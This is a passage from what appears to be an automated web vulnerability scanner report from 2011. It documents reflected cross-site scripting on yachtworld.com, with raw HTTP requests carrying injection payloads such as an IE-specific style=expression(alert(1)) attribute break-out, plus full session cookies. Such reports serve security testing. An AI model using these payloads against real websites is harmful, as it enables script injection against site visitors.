savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:06 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:12:12 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed03b"><a>e5669ac6abc was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/builder/model/United+Statesed03b"><a>e5669ac6abc/Virginia/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:29 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.314. http://www.yachtworld.com/boats/category/type/builder/model/United+States/Virginia/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bef72"style%3d"x%3aexpression(alert(1))"1012e8331a0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as bef72"style="x:expression(alert(1))"1012e8331a0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/Virginia/1?bef72"style%3d"x%3aexpression(alert(1))"1012e8331a0=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:04 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:12:11 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.315. http://www.yachtworld.com/boats/category/type/builder/model/United+States/Washington/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6744"style%3d"x%3aexpression(alert(1))"1dcf31d97c2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a6744"style="x:expression(alert(1))"1dcf31d97c2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/Washington/1?a6744"style%3d"x%3aexpression(alert(1))"1dcf31d97c2=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:00 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:12:07 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ccf2"><a>8388dceab17 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/category/type/builder/model/United+States4ccf2"><a>8388dceab17/Wisconsin/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:41 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.317. http://www.yachtworld.com/boats/category/type/builder/model/United+States/Wisconsin/1 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b9632"style%3d"x%3aexpression(alert(1))"41870955065 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b9632"style="x:expression(alert(1))"41870955065 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/category/type/builder/model/United+States/Wisconsin/1?b9632"style%3d"x%3aexpression(alert(1))"41870955065=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
